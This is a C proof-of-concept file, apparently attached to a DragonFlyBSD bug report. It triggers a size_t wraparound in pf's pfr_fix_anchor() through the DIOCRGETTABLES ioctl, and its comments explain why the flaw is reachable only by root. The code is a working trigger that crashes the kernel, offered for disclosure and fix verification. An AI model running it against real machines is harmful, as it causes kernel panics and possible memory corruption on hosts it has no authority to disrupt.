/*
 * DF-0362 PoC: pfr_fix_anchor size_t wraparound via DIOCRGETTABLES
 *
 * The slash-counting loop in pfr_fix_anchor() has no bound against
 * siz=MAXPATHLEN(1024). When pfrt_anchor[0..1023] are all '/' and
 * pfrt_name[0] (immediately adjacent in struct pfr_table) is also '/',
 * the loop reads one byte past pfrt_anchor and off becomes 1025. Then
 *   bcopy(path, anchor, siz - off)
 * computes siz(1024) - off(1025) as a size_t -> wraps to ~SIZE_MAX, and
 * the kernel takes a fatal page fault inside bcopy.
 *
 * IMPORTANT (reachability): on DragonFlyBSD, PF is NOT compiled into the
 * default X86_64_GENERIC kernel -- it is a loadable KLD module
 * (sys/net/pf/Makefile). `/dev/pf` exists only after `kldload pf`
 * (root-only) and is then created mode 0600 root:wheel
 * (sys/net/pf/pf_ioctl.c: pf_dev = make_dev(... UID_ROOT, GID_WHEEL,
 * 0600, PF_NAME)). So the bug is reachable ONLY from root context: it is
 * a root->kernel hardening gap (kernel panic / memory corruption from a
 * root-held descriptor), NOT an unprivileged->root escalation.
 *
 * Build:  cc -o poc poc.c
 * Run:    ./poc            # needs /dev/pf readable (root, or jail-exposed)
 *
 * Expected (BUG present): kernel panic, fatal trap 12 in bcopy/pfr_fix_anchor.
 * Expected (BUG fixed):   ioctl returns cleanly (ENOENT/EINVAL), no panic.
 */

#include <sys/ioctl.h>
#include <sys/types.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>

/* Use the guest's installed kernel headers so struct layout and ioctl
 * numbers are byte-accurate against the running kernel. */
#include <net/if.h>            /* IFNAMSIZ */
#include <net/pf/pfvar.h>

int main(void)
{
    struct pfioc_table io;
    int fd, rc;

    fd = open("/dev/pf", O_RDONLY);
    if (fd < 0) {
        perror("open /dev/pf (PF module must be loaded: kldload pf)");
        return 1;
    }

    /*
     * Trigger layout:
     *   pfrt_anchor[0..1023] = '/'  (all 1024 bytes; no NUL terminator)
     *   pfrt_name[0]         = '/'  (loop reads one byte past pfrt_anchor)
     *   pfrt_name[1]         = 0    (loop exits; off = 1025)
     *
     * The DIOCRGETTABLES path calls pfr_get_tables() which calls
     * pfr_fix_anchor(filter->pfrt_anchor) directly -- no prior name
     * validation, so the '/' in pfrt_name is fine.
     */
    memset(&io, 0, sizeof(io));
    memset(io.pfrio_table.pfrt_anchor, '/', sizeof(io.pfrio_table.pfrt_anchor));
    io.pfrio_table.pfrt_name[0] = '/';   /* adjacent byte that bumps off > siz */
    /* keep pfrt_name[1..31] zero so the loop exits there */

    /* DIOCRGETTABLES requires pfrio_esize == sizeof(struct pfr_table)
     * (pf_ioctl.c:2433) or the request is rejected with ENODEV before
     * pfr_get_tables()/pfr_fix_anchor() is reached. */
    io.pfrio_esize = sizeof(struct pfr_table);

    printf("DF-0362: triggering pfr_fix_anchor size_t wrap via DIOCRGETTABLES...\n");
    printf("  pfrt_anchor = 1024 '/' ; pfrt_name = {'/',0,...}; off will reach 1025\n");
    printf("  siz - off = 1024 - 1025 wraps size_t -> bcopy(...,SIZE_MAX) -> panic\n");
    fflush(stdout);

    rc = ioctl(fd, DIOCRGETTABLES, &io);
    /* If we get here, the kernel did NOT panic. */
    printf("DF-0362: ioctl returned rc=%d (%m)\n", rc);

    close(fd);
    return 0;
}
